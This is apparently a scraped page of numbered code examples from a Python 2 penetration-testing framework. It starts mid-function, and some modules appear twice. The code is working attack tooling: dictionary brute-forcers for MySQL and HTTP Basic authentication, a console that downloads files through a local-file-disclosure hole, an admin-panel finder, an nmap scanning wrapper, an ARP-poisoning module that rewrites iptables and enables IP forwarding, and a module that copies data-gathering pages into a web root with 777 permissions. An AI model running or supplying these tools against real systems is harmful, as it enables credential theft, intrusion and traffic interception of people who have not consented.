							IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
				print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR         "+colors[0]

				for HOST in IPs:
					counter=counter+1				
					print " ["+str(counter)+"]"+HOST
				d.space()
				commands.getoutput('rm tmp/ips.xml > null')
			except:
				Errors.Errors(event=sys.exc_info(), info=False)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	hostl(0)
예제 #17
0
def btsql(run):
	try:
		global defaulthost,defaultport,defaultuser,defaultdicc
		if run!=1:
			actions=raw_input(d.prompt("bt/sql"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("dict_1","yes","Dictionary pass",defaultdicc)
			d.space()
			btsql(0)
		elif actions[0:10] == "set target":
			defaulthost=defaulthost.replace("http://", "")
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions[0:8] == "set user":
			defaultuser=ping.update(defaultuser,actions,"user")
			d.change("user",defaultuser)
		elif actions[0:10] == "set dict_1":
			defaultdicc=ping.update(defaultdicc,actions,"dict_1")
			d.change("dict_1",defaultdicc)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ping.live(defaulthost,defaultport)
				if True:
					try:
						d.loading_file()
						try:
							with open(defaultdicc,'r') as passs:
								for ps in passs:
									ps=ps.replace("\n","")
									try:
										MySQLdb.connect(defaulthost,defaultuser,ps,'')
										if True:
											ping.save("BruteForceSQL",defaulthost,defaultport,defaultuser,ps)
											d.Success(defaultuser,ps)
											return 1
									except:
										print " "+Alr+" Checking ("+defaultuser+"="+ps+")"
						except:
							Errors.Errors(event=sys.exc_info()[0], info=defaultdicc)
					except:
						Errors.Errors(event=sys.exc_info()[0], info=False)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	btsql(0)
예제 #18
0
def cmysql(run):
    global defaulthost, defaultport, defaultuser, defaultpass
    try:
        if run != 1:
            actions = raw_input(d.prompt("clt/sql"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("pass", "yes", "Password", defaultpass)
            d.space()
            cmysql(0)
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:8] == "set pass":
            defaultpass = ping.update(defaultpass, actions, "pass")
            d.change("pass", defaultpass)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        con = MySQLdb.connect(defaulthost, defaultuser, defaultpass, "")
                        if True:
                            try:
                                cmd = "nop"
                                print "\n " + Hlp + " SQL Client help\n"
                                print "  -------------------------------------------------------------------------------------------------------"
                                print "  |" + colors[6] + "Commd" + colors[0] + "            | " + colors[
                                    6
                                ] + "Description" + colors[0] + "     | " + colors[6] + "Examples" + colors[
                                    0
                                ] + "                                                        |"
                                print "  -------------------------------------------------------------------------------------------------------"
                                print "  |show databases   | list databases  | show databases                                                  |"
                                print "  |use	            | select database | use user_table                                                  |"
                                print "  |show tables	    | list tables     | show tables                                                     |"
                                print "  |create database  | create databases| create database USERS                                           | "
                                print "  |create table	    | create tables   | create table EMAILS (id INT PRIMARY KEY, name VARCHAR(20))      | "
                                print "  |drop database    | drop databases  | drop database USERS                                             | "
                                print "  |drop table       | drop tables     | drop table EMAIL                                                | "
                                print "  |insert	    | insert data     | insert into EMAILS values ( '2', '*****@*****.**' )               | "
                                print "  |update           | update data     | update EMAILS set name='Willy' where id=1                       | "
                                print "  |select           | select data     | select id, name from EMAILS                                     | "
                                print "  -------------------------------------------------------------------------------------------------------"
                                print ""
                                while cmd != "exit":
                                    cmd = raw_input(d.Client_prompt("sql"))
                                    cur = con.cursor()
                                    try:
                                        tor = cur.execute(cmd)
                                        if True:
                                            for x in range(tor):
                                                print cur.fetchone()
                                    except:
                                        print " " + Bad + " No command '" + cmd + "' found"
                            except:
                                Errors.Errors(event=sys.exc_info()[0], info=False)
                    except:
                        Errors.Errors(event=sys.exc_info(), info=defaulthost + ":" + defaultport)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    cmysql(0)
예제 #19
0
def LFDconsole(run):
	global defaulthost,defaultfile,defaultport
	try:
		if run!=1:
			actions=raw_input(d.prompt("web/lfd-con"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP, DNS Target",defaulthost)
			d.descrip("patch","yes","Path file vul",defaultfile)
			d.descrip("port","no","Port service",defaultport)
			d.space()
			LFDconsole(0)
		elif actions[0:9] == "set patch":
			defaultfile=ping.update(defaultfile,actions,"patch")
			d.change("patch",defaultfile)
		elif actions[0:10] == "set target":
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ping.live(defaulthost,defaultport)
				if True:
					connection = httplib.HTTPConnection(defaulthost,defaultport)
					connection.request("GET",defaultfile)
					response = connection.getresponse()
					if response.status == 200:
						print " "+Suf+" File response correctly."
						d.space()
						print "\n "+Hlp+" LFD Console help\n"
						print "  ------------------------------------------"
						print "  |"+colors[6]+"Command "+colors[0]+"| "+colors[6]+"Description"+colors[0]+"   | "+colors[6]+"Examples"+colors[0]+"      |"
						print "  ------------------------------------------"
						print "  |   get  | Download file | get index.php |" 
						print "  ------------------------------------------"
						d.space()
						command=0
						while command!="exit":
							command=raw_input(d.Client_prompt("LFD"))
							if command[:3] == "get":
								submit=command[4:]
								try:
									url = "http://"+defaulthost+defaultfile+"?"+submit
									file_name = url.split('/')[-1]
									u = urllib2.urlopen(url)
									f = open("tmp/"+file_name, 'wb')
									meta = u.info()
									try:		
										file_size = int(meta.getheaders("Content-Length")[0])
										if file_size != 0:
											print " "+Alr+" Downloading %s Bytes: %s" % (file_name, file_size)
											file_size_dl = 0
											block_sz = 8192
											while True:
												buffer = u.read(block_sz)
												if not buffer:
													break
												file_size_dl += len(buffer)
												f.write(buffer)
												status = r"%10d  [%3.2f%%]" % (file_size_dl, file_size_dl * 100. / file_size)
												status = status + chr(8)*(len(status)+1)
												print " "+Suf+" Completed "+status
											    	f.close()
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
												os.system("cat 'tmp/"+file_name+"' -b -v ")
												os.system("rm 'tmp/"+file_name+"'")
												print " \n -------------------------------- File "+file_name+" Size: "+str(file_size)+" \n"
										else:
											print " "+War+" File empy or no exist."
									except:
										Errors.Errors(event=sys.exc_info(), info=url)
								except:
									Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport)
					else:
						print " "+Bad+" File Not response correctly."
						d.space()
			except:
				Errors.Errors(event=sys.exc_info(), info=defaulthost+":"+defaultport)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info(), info=False)
	LFDconsole(0)
예제 #20
0
def httpbt(run):
    try:
        global defaulthost, defaultport, defaultpach, defaultuser, defaultdic2
        if run != 1:
            actions = raw_input(d.prompt("web/httpbt"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("patch", "yes", "Folder or dir", defaultpach)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdic2)
            print ""
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set patch":
            defaultpach = ping.update(defaultpach, actions, "patch")
            d.change("patch", defaultpach)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdic2 = ping.update(defaultdic2, actions, "dict_1")
            d.change("dict_1", defaultdic2)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    red = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    red.connect((defaulthost, int(defaultport)))
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdic2, "r") as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    red.send("GET " + defaultpach + " HTTP/1.1\r\n")
                                    red.send("HOST: " + defaulthost + "\r\n")
                                    red.send(
                                        "Authorization:Basic " + base64.b64encode(defaultuser + ":" + ps) + "\r\n\r\n"
                                    )
                                    last = red.recv(1000)
                                    if last.find("401") <= 0:
                                        ping.savethree(
                                            "BruteForceHTTP", defaulthost, defaultport, defaultpach, defaultuser, ps
                                        )
                                        d.Success(defaultuser, ps)
                                        red.close
                                        httpbt(0)
                                    else:
                                        print " " + Alr + " Checking (username="******")(password="******")"
                                        red.close
                        except:
                            Errors.Errors(event=sys.exc_info()[0], info=defaultdic2)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    httpbt(0)
예제 #21
0
def adminfinder(run):
    try:
        global defaulthost, defaultport, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("web/cpfinder"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("table", "no", "Dictionary", defaultdicc)
            d.space()
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set table":
            defaultdicc = ping.update(defaultport, actions, "table")
            d.change("table", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        d.loading_file()
                        with open(defaultdicc, 'r') as dirt:
                            results = ""
                            resultn = ""
                            for patch in dirt:
                                patch = patch.replace("\n", "")
                                patch = "/" + patch
                                connection = httplib.HTTPConnection(
                                    defaulthost, defaultport)
                                connection.request("GET", patch)
                                response = connection.getresponse()
                                if response.status == 200 or response.status == 301:
                                    print " " + Suf + " Response " + patch
                                    results = "-" + Suf + " " + patch + "\n" + results
                                    resultn = patch + "," + resultn
                                else:
                                    print " " + Alr + " Checking..." + colors[
                                        0] + patch
                        if results != "":
                            print "\n" + results
                            ping.savefive("Admin Finder", defaulthost,
                                          defaultport, results)
                        else:
                            print "\n " + Nrs + " Not Results :(.\n"

                    except:
                        Errors.Errors(event=sys.exc_info()[0],
                                      info=defaultdicc)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    adminfinder(0)
예제 #22
0
def httpbt(run):
    try:
        global defaulthost, defaultport, defaultpach, defaultuser, defaultdic2
        if run != 1:
            actions = raw_input(d.prompt("web/httpbt"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("patch", "yes", "Folder or dir", defaultpach)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdic2)
            print ""
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set patch":
            defaultpach = ping.update(defaultpach, actions, "patch")
            d.change("patch", defaultpach)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdic2 = ping.update(defaultdic2, actions, "dict_1")
            d.change("dict_1", defaultdic2)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    red = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    red.connect((defaulthost, int(defaultport)))
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdic2, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    red.send("GET " + defaultpach +
                                             " HTTP/1.1\r\n")
                                    red.send("HOST: " + defaulthost + "\r\n")
                                    red.send("Authorization:Basic " +
                                             base64.b64encode(defaultuser +
                                                              ":" + ps) +
                                             "\r\n\r\n")
                                    last = red.recv(1000)
                                    if last.find("401") <= 0:
                                        ping.savethree("BruteForceHTTP",
                                                       defaulthost,
                                                       defaultport,
                                                       defaultpach,
                                                       defaultuser, ps)
                                        d.Success(defaultuser, ps)
                                        red.close
                                        httpbt(0)
                                    else:
                                        print " " + Alr + " Checking (username="******")(password="******")"
                                        red.close
                        except:
                            Errors.Errors(event=sys.exc_info()[0],
                                          info=defaultdic2)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    httpbt(0)
예제 #23
0
def LFDconsole(run):
    global defaulthost, defaultfile, defaultport
    try:
        if run != 1:
            actions = raw_input(d.prompt("web/lfd-con"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP, DNS Target", defaulthost)
            d.descrip("patch", "yes", "Path file vul", defaultfile)
            d.descrip("port", "no", "Port service", defaultport)
            d.space()
            LFDconsole(0)
        elif actions[0:9] == "set patch":
            defaultfile = ping.update(defaultfile, actions, "patch")
            d.change("patch", defaultfile)
        elif actions[0:10] == "set target":
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    connection = httplib.HTTPConnection(
                        defaulthost, defaultport)
                    connection.request("GET", defaultfile)
                    response = connection.getresponse()
                    if response.status == 200:
                        print " " + Suf + " File response correctly."
                        d.space()
                        print "\n " + Hlp + " LFD Console help\n"
                        print "  ------------------------------------------"
                        print "  |" + colors[6] + "Command " + colors[
                            0] + "| " + colors[6] + "Description" + colors[
                                0] + "   | " + colors[6] + "Examples" + colors[
                                    0] + "      |"
                        print "  ------------------------------------------"
                        print "  |   get  | Download file | get index.php |"
                        print "  ------------------------------------------"
                        d.space()
                        command = 0
                        while command != "exit":
                            command = raw_input(d.Client_prompt("LFD"))
                            if command[:3] == "get":
                                submit = command[4:]
                                try:
                                    url = "http://" + defaulthost + defaultfile + "?" + submit
                                    file_name = url.split('/')[-1]
                                    u = urllib2.urlopen(url)
                                    f = open("tmp/" + file_name, 'wb')
                                    meta = u.info()
                                    try:
                                        file_size = int(
                                            meta.getheaders("Content-Length")
                                            [0])
                                        if file_size != 0:
                                            print " " + Alr + " Downloading %s Bytes: %s" % (
                                                file_name, file_size)
                                            file_size_dl = 0
                                            block_sz = 8192
                                            while True:
                                                buffer = u.read(block_sz)
                                                if not buffer:
                                                    break
                                                file_size_dl += len(buffer)
                                                f.write(buffer)
                                                status = r"%10d  [%3.2f%%]" % (
                                                    file_size_dl, file_size_dl
                                                    * 100. / file_size)
                                                status = status + chr(8) * (
                                                    len(status) + 1)
                                                print " " + Suf + " Completed " + status
                                                f.close()
                                                print " \n -------------------------------- File " + file_name + " Size: " + str(
                                                    file_size) + " \n"
                                                os.system("cat 'tmp/" +
                                                          file_name +
                                                          "' -b -v ")
                                                os.system("rm 'tmp/" +
                                                          file_name + "'")
                                                print " \n -------------------------------- File " + file_name + " Size: " + str(
                                                    file_size) + " \n"
                                        else:
                                            print " " + War + " File empy or no exist."
                                    except:
                                        Errors.Errors(event=sys.exc_info(),
                                                      info=url)
                                except:
                                    Errors.Errors(event=sys.exc_info(),
                                                  info=defaulthost + ":" +
                                                  defaultport)
                    else:
                        print " " + Bad + " File Not response correctly."
                        d.space()
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    LFDconsole(0)
예제 #24
0
def adminfinder(run):
    try:
        global defaulthost, defaultport, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("web/cpfinder"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("table", "no", "Ditionary", defaultdicc)
            d.space()
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:9] == "set table":
            defaultdicc = ping.update(defaultport, actions, "table")
            d.change("table", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ping.live(defaulthost, defaultport)
                if True:
                    try:
                        d.loading_file()
                        with open(defaultdicc, "r") as dirt:
                            results = ""
                            resultn = ""
                            for patch in dirt:
                                patch = patch.replace("\n", "")
                                patch = "/" + patch
                                connection = httplib.HTTPConnection(defaulthost, defaultport)
                                connection.request("GET", patch)
                                response = connection.getresponse()
                                if response.status == 200 or response.status == 301:
                                    print " " + Suf + " Response " + patch
                                    results = "-" + Suf + " " + patch + "\n" + results
                                    resultn = patch + "," + resultn
                                else:
                                    print " " + Alr + " Checking..." + colors[0] + patch
                        if results != "":
                            print "\n" + results
                            ping.savefive("Admin Finder", defaulthost, defaultport, results)
                        else:
                            print "\n " + Nrs + " Not Results :(.\n"

                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=defaultdicc)
            except:
                Errors.Errors(event=sys.exc_info()[0], info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    adminfinder(0)
예제 #25
0
def PortScanner(run):
    global defaultnet, defaulttyp, parameter
    try:
        if run != 1:
            actions = raw_input(d.prompt("net/portscan"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaultnet)
            d.descrip("type", "no", "Type of scan", defaulttyp)
            d.space()
            d.helpAUX()
            print " " + colors[
                7] + "Type  Description                       Speed" + colors[0]
            print " [p-0] Intense scan                       slow"
            print " [p-1] Intense scan plus UDP              slow"
            print " [p-2] Intense scan, all TCP ports        very slow"
            print " [p-3] Intense scan, no ping              slow"
            print " [p-4] Ping scan                          fast"
            print " [p-5] Quick scan                         fast"
            print " [p-6] Quick scan plus                    fast"
            print " [p-7] Quick traceroute                   fast"
            print " [p-8] Regular scan                       slow"
            print " [p-9] Slow comprehensive scan            fast"
            d.space()
            PortScanner(0)
        elif actions[0:10] == "set target":
            defaultnet = ping.update(defaultnet, actions, "target")
            d.change("target", defaultnet)
        elif actions[0:8] == "set type":
            defaulttyp = ping.update(defaultnet, actions, "type")
            if defaulttyp == "p-0":
                parameter = "-T4 -A -v"
            elif defaulttyp == "p-1":
                parameter = "-sS -sU -T4 -A -v"
            elif defaulttyp == "p-2":
                parameter = "-p 1-65535 -T4 -A -v"
            elif defaulttyp == "p-3":
                parameter = "-T4 -A -v -Pn"
            elif defaulttyp == "p-4":
                parameter = "-sn"
            elif defaulttyp == "p-5":
                parameter = "-T4 -F"
            elif defaulttyp == "p-6":
                parameter = "-sV -T4 -O -F --version-light"
            elif defaulttyp == "p-7":
                parameter = "-sn --traceroute"
            elif defaulttyp == "p-8":
                parameter = ""
            elif defaulttyp == "p-9":
                parameter = "-sS -sU -T4 -A -v -PE -PP -PS80,443 -PA3389 -PU40125 -PY -g 53 --script 'default or (discovery and safe)'"
            else:
                defaulttyp = "p-0"
                print " " + Bad + " Type not allow, use show options or sop and see Auxiliar help."
                PortScanner(0)
            defaulttyp = ping.update(defaulttyp, actions, "type")
            d.change("type", defaulttyp)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                print " " + Alr + " Scanning Target: " + defaultnet + " wait it may take a few minutes."
                OSMATCHs = []
                SERVICEs = []
                INFORMEs = []
                MAC = "Unknow"
                VENDOR = "Unknow"
                d.space()
                commands.getoutput(NMAP_PATH + " " + parameter + " " +
                                   defaultnet +
                                   " -oX tmp/portScanner-tmp.xml > null")
                tree = ET.parse('tmp/portScanner-tmp.xml')
                root = tree.getroot()
                for host in root.findall('host'):
                    for address in host.findall('address'):
                        p = address.get('addr')
                        if not address.get('vendor'):
                            VENDOR = VENDOR
                        else:
                            VENDOR = address.get('vendor')
                        if p.find(":") <= 0:
                            IP = address.get('addr')
                        else:
                            MAC = address.get('addr')

                    for ports in host.findall('ports'):
                        for port in ports.findall('port'):
                            PROTOCOL = port.get('protocol')
                            PORT = port.get('portid')
                            for service in port.findall('service'):
                                if not service.get('product'):
                                    product = "{NULL}"
                                    version = "{NULL}"
                                    info = "{NULL}"
                                else:
                                    product = service.get('product')
                                    version = service.get('version')
                                    info = service.get('extrainfo')
                                product = str(
                                    "{NULL}" if product is None else product)
                                version = str(
                                    "{NULL}" if version is None else version)
                                info = str("{NULL}" if info is None else info)
                                SERVICEs.append(colors[7] +
                                                service.get('name') +
                                                colors[0] + " [" + product +
                                                "] " + version + info + " " +
                                                colors[10] + colors[3] +
                                                PROTOCOL + "-Port: " + PORT +
                                                colors[0])

                    for hostscript in host.findall('hostscript'):
                        for script in hostscript.findall('script'):
                            if script.get('id') == 'smb-os-discovery':
                                INFORMEs.append(script.get('output'))

                    for os in host.findall('os'):
                        for osmatch in os.findall('osmatch'):
                            OSMATCHs.append(osmatch.get('name'))

                print " Ip address: " + defaultnet
                print " Mac       : " + MAC
                print " Vendor    : " + VENDOR
                print " OS Matchs : "
                for os in OSMATCHs:
                    print "             " + os
                print " Services  : "
                for services in SERVICEs:
                    print "             " + str(services)
                print " Report    :"
                for informer in INFORMEs:
                    informer = str("{NULL}" if informer is "" else informer)
                    print str(informer)
                commands.getoutput('rm tmp/portScanner-tmp.xml > null')
                d.space()
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=sys.exc_traceback.tb_lineno)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    PortScanner(0)
예제 #26
0
def arpp(run): 
    try:
        global defaultgat,defaultipv,defaultint
        if run!=1:
            actions=raw_input(d.prompt("net/arpspoof"))
        else:
            actions="run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target","yes","IP victim",defaultipv)
            d.descrip("gway","yes","Gateway-Router.",defaultgat)
            d.descrip("iterce","yes","Interface",defaultint)
            d.helpAUX()
            if ping.conneted()!=False:
                ping.interfaces(1)
                ping.get_gateway(1)
                ping.my_mac_address(1)
                d.space()
                if ping.conneted()!=False:
                    commands.getoutput(NMAP_PATH+' -sn '+str(ping.myip())+'/24 -oX tmp/ips.xml > null')
                    GateWay=ping.get_gateway(2)
                    tree = ET.parse('tmp/ips.xml')
                    root = tree.getroot()
                    IPf=0
                    counter=0
                    IP=""
                    for host in root.findall('host'):
                        for hosted in host.findall('address'):
                            if hosted.get('addrtype') == "ipv4":
                                IPf=hosted.get('addr')
                            else:
                                if GateWay == IPf :
                                    IPf=colors[8]+colors[4]+"{GW:"+IPf+"}"+colors[0]
                                IPs.append(" "+IPf+" "+str(hosted.get('addr'))+" "+str(hosted.get('vendor')))
                    print " "+colors[10]+colors[7]+" # \t IP \t\t MAC \t\t VENDOR         "+colors[0]

                    for HOST in IPs:
                        counter=counter+1               
                        print " ["+str(counter)+"]"+HOST
                    d.space()
                    commands.getoutput('rm tmp/ips.xml > null')
            else:
                print d.noconnect()
            print ""
            arpp(0)
        elif actions[0:10] == "set target":
            defaultipv=ping.update(defaultipv,actions,"target")
            d.change("target",defaultipv)
        elif actions[0:8] == "set gway":
            defaultgat=ping.update(defaultgat,actions,"gway")
            d.change("gway",defaultgat)
        elif actions[0:10] == "set iterce":
            defaultint=ping.update(defaultint,actions,"iterce")
            d.change("iterce",defaultint)
        elif actions=="exit" or actions=="x":
            d.goodbye()
            exit()
        elif actions=="help" or actions=="h":
            help.help()
        elif actions=="back" or actions=="b":
            return
            return
        elif actions[0:5]=="save:":
            ping.SaveVariable(secuence=actions, matrix=IPs)
        elif actions=="run"  or actions=="r":
            d.run()
            try:
		My_Ip=ping.myip()
		Tables="""
iptables --flush;
iptables --zero;
iptables --delete-chain;
iptables -F -t nat;
iptables --append FORWARD --in-interface """+defaultint+""" --jump ACCEPT;
iptables --table nat --append POSTROUTING --out-interface """+defaultint+""";
"""

                print " "+Alr+" Ensure the victim recieves packets by forwarding them",ping.status_cmd('echo 1 > /proc/sys/net/ipv4/ip_forward','\t')
                print " "+Alr+" Configuring IPtables NAT",ping.status_cmd(Tables,'\t\t\t\t')
                print " "+Alr+" Starting ARP Poisoning..."
                try:
                    z=multiprocessing.Process(target=Get_PoisoningTTG)
                    t=multiprocessing.Process(target=Get_PoisoningTGT)
                    t.start()
                    z.start()
                    NULL=raw_input(" "+Hlp+" Stop Attack ARP (PRESS ANY KEY)")
                    print " "+Alr+" Stopping ARP Poisoning...", ping.status_cmd('killall arpspoof','\t\t\t\t')
                    print " "+Alr+" Setting Normal configuration in forwarding",ping.status_cmd('echo 0 > /proc/sys/net/ipv4/ip_forward','\t\t')
                    t.terminate()
                    z.terminate()  
                    d.space()
                    arpp(0)
                except:
                    Errors.Errors(event=sys.exc_info(), info=False)
            except:
                Errors.Errors(event=sys.exc_info(), info=False)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info(), info=False)
    arpp(0)
예제 #27
0
def getdatareport(run):
    try:
        global defaultred, defaultjav
        if run != 1:
            actions = raw_input(d.prompt("set/gdreport"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("link", "yes", "redirectly", defaultred)
            d.descrip("java", "no", "JS for Geo", defaultjav)
            d.space()
        elif actions[0:8] == "set link":
            defaultred = ping.update(defaultred, actions, "link")
            d.change("link", defaultred)
        elif actions[0:9] == "set javas":
            defaultjav = actions[10:]
            if defaultjav == "true" or defaultjav == "false":
                d.change("javas", defaultjav)
            else:
                d.nodataallow()
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                print " " + Alr + " Setting files", ping.status_cmd(
                    'echo "<?php \$url=\'http://' + defaultred +
                    '\';\$javascript=\'' + defaultjav + '\';?>" > ' +
                    PATCH_WWW + '/appconfig.php & echo ', "\t\t\t\t")
                print " " + Alr + " Coping files to server", ping.status_cmd(
                    "cp files/getdatareport/* " + PATCH_WWW, "\t\t\t")
                print " " + Alr + " Giving privileges to files", ping.status_cmd(
                    "chmod -R 777 " + PATCH_WWW, "\t\t")
                if True:
                    try:
